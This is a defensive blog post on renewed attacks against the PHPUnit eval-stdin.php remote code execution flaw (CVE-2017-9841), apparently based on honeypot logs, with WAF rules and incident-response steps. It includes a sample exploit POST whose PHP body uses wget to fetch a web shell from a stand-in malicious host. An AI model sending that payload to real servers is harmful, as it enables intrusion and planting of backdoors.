Surge in PHPUnit RCE Attacks: What Honeypots Reveal

Recent honeypot data reveals a significant increase in exploitation attempts targeting CVE-2017-9841, a remote code execution vulnerability in PHPUnit. Despite being patched in 2017, this vulnerability continues to be actively exploited, with attackers scanning for vulnerable installations across thousands of servers.

What Is CVE-2017-9841?

CVE-2017-9841 is a critical remote code execution vulnerability affecting PHPUnit versions prior to 4.8.28 and 5.x prior to 5.6.3. The vulnerability exists in the eval-stdin.php file, which allows attackers to execute arbitrary PHP code through specially crafted HTTP POST requests.

The Attack Pattern

Attackers systematically scan for the vulnerable file across multiple common paths:


*.*.*.* - - [27/Nov/2024:12:20:48 +0200] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 196
*.*.*.* - - [27/Nov/2024:12:20:49 +0200] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 196
*.*.*.* - - [27/Nov/2024:12:20:49 +0200] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 196
*.*.*.* - - [27/Nov/2024:12:20:49 +0200] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 196

This pattern shows the attacker trying various directory structures where PHPUnit might be installed, particularly focusing on framework-specific vendor directories like Laravel, Yii, and Zend.

Why Are We Seeing a Resurgence?

1. Botnet Distribution Updates

Attack groups frequently update their scanning patterns and redistribute them across their botnets. The recent surge suggests this particular exploit has been added to popular automated scanning tools and is being propagated through updated malware distributions.

2. Development Tools in Production

Many organizations accidentally deploy development dependencies to production environments. PHPUnit, being a testing framework, should never exist in production, but it frequently does due to deployment misconfigurations.

3. Framework-Specific Targeting

The scanning patterns specifically target popular PHP frameworks:

Laravel: /laravel/vendor/phpunit/...
Yii: /yii/vendor/phpunit/...
Zend: /zend/vendor/phpunit/...
Drupal: /workspace/drupal/vendor/phpunit/...

4. Automated Tool Integration

Security scanning tools like Nuclei, Xray, and others have integrated this vulnerability check into their default scanning profiles, leading to widespread automated scanning.

What the Attackers Are Looking For

The initial GET requests are reconnaissance probes. When they find a vulnerable endpoint (returning 200 instead of 404), they follow up with POST requests containing malicious PHP code:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded

<?php system('wget http://malicious-site.com/shell.php -O /var/www/html/shell.php'); ?>

Successful exploitation typically leads to:

Web shell installation
Data exfiltration
Cryptocurrency mining deployment
Botnet enrollment
Lateral movement within the network

Honeypot Insights: What the Data Reveals

Scanning Frequency and Patterns

Honeypots are observing concentrated bursts of scanning activity, with single IP addresses attempting multiple path variations in rapid succession (as seen in the log example with 10+ attempts within seconds).

Global Attack Sources

The attacks originate from diverse geographic locations, with particular concentration from:

Cloud hosting providers (often compromised instances)
Known bulletproof hosting services
Residential IP ranges (compromised home devices)

User Agent Patterns

The consistent use of "libredtail-http" as the User-Agent suggests this might be from a specific scanning tool or modified version of common security scanners.

Immediate Protection Measures

1. Remove PHPUnit from Production

This is the most critical step. PHPUnit should never be deployed to production servers. Remove it entirely from production environments:

# Remove PHPUnit from production
composer remove --dev phpunit/phpunit

# Or ensure it's only in require-dev in composer.json
"require-dev": {
    "phpunit/phpunit": "^9.0"
}

2. Web Application Firewall Rules

Implement WAF rules to block requests to eval-stdin.php and similar dangerous paths:

# Example mod_security rule
SecRule REQUEST_URI "@contains eval-stdin.php" \
    "id:1001,deny,status:404,msg:'PHPUnit RCE attempt'"

# Nginx location block
location ~* eval-stdin\.php$ {
    deny all;
    return 404;
}

3. File System Monitoring

Monitor for the creation or access of known malicious files:

# Auditd rule for eval-stdin.php access
-w /var/www/html -p wa -k web_application
-w /vendor/phpunit -p wa -k phpunit_access

4. Network-Level Blocking

Block known malicious IPs at the network level. The IP *.*.*.* from our example should be immediately blocked.

Long-Term Security Hardening

1. Development/Production Separation

Implement strict separation between development and production environments. Use CI/CD pipelines that automatically exclude development dependencies from production builds.

2. Regular Dependency Audits

Conduct regular audits of all dependencies:

# Scan for known vulnerabilities
composer audit
npm audit
snyk test

3. Security Headers and Configuration

Implement proper security headers and server hardening:

# Disable PHP execution in upload and vendor directories
location ~* /(vendor|uploads)/.*\.php$ {
    deny all;
}

4. Comprehensive Monitoring

Deploy honeypots and intrusion detection systems to gather threat intelligence and detect emerging attack patterns early.

Detection and Response

Indicators of Compromise

HTTP 200 responses to eval-stdin.php requests
Unusual processes running as the web server user
Unexpected files in web-accessible directories
Outbound connections to suspicious IPs
Modified or new files in vendor directories

Incident Response Checklist

Immediately block the attacker IP
Scan for web shells and backdoors
Check for newly created user accounts
Review access logs for successful exploitation
Rotate all credentials and API keys
Restore from clean backups if compromised

Conclusion: Why Old Vulnerabilities Never Die

The resurgence of CVE-2017-9841 attacks demonstrates a fundamental truth in cybersecurity: no vulnerability ever truly disappears. Attackers maintain extensive databases of known vulnerabilities and continuously scan for unpatched systems.

This case highlights several critical security lessons:

Patch management is forever: Even vulnerabilities from 2017 remain actively exploited
Development tools don't belong in production: This remains a common and costly mistake
Honeypots provide invaluable intelligence: They reveal real-time attack trends and patterns
Comprehensive monitoring is essential: You can't protect what you can't see

The increasing frequency of these attacks serves as a stark reminder that in web security, vigilance and proactive defense are not optional—they're essential for survival in an increasingly hostile digital landscape.

Stay secure, stay updated, and remember: our honeypots are an early warning system—need to listen to what they're telling us.

Surge in PHPUnit RCE Attacks: What Honeypots Reveal About This Resurgent Threat